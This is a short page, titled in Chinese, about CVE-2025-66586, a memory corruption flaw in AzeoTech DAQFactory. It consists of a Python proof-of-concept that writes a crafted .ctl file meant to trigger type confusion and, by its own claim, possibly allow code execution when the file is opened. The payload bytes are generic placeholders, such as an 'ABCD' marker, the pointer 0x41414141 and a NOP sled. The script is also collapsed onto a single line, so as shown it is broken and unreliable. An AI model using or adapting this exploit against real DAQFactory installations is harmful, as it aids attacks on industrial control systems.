CVE-2025-66586 AzeoTech DAQFactory特制.ctl文件内存损坏漏洞

#!/usr/bin/env python3 # CVE-2025-66586 PoC - AzeoTech DAQFactory .ctl File Memory Corruption # Generate malicious .ctl file to trigger memory corruption import struct def generate_malicious_ctl(): """Generate a crafted .ctl file that triggers the vulnerability""" # DAQFactory .ctl file header header = b'DAQFactory Control File\x00' # Version marker (targeting version 20.7 Build 2555) version = b'\x20\x07\xFF\x9B' # Version 20.7, Build 2555 # Malicious payload to trigger type confusion # This causes memory corruption when parsed type_confusion_marker = b'\x41\x42\x43\x44' # 'ABCD' - type confusion trigger # Heap spray / memory corruption payload corruption_data = b'A' * 1024 + b'\x90' * 256 # Crafted object reference that causes incompatible type access object_ref = struct.pack('<I', 0x41414141) # Invalid pointer # Build the malicious .ctl content malicious_content = ( header + version + type_confusion_marker + b'\x00\x01\x00\x00' + # Object type marker object_ref + corruption_data + b'\x00' * 512 # Padding ) return malicious_content def main(): """Generate and save the PoC .ctl file""" payload = generate_malicious_ctl() output_file = 'CVE-2025-66586_malicious.ctl' with open(output_file, 'wb') as f: f.write(payload) print(f'[+] Generated malicious .ctl file: {output_file}') print(f'[+] File size: {len(payload)} bytes') print('[!] This PoC triggers memory corruption in DAQFactory 20.7 Build 2555') print('[!] When opened, it may allow arbitrary code execution') if __name__ == '__main__': main()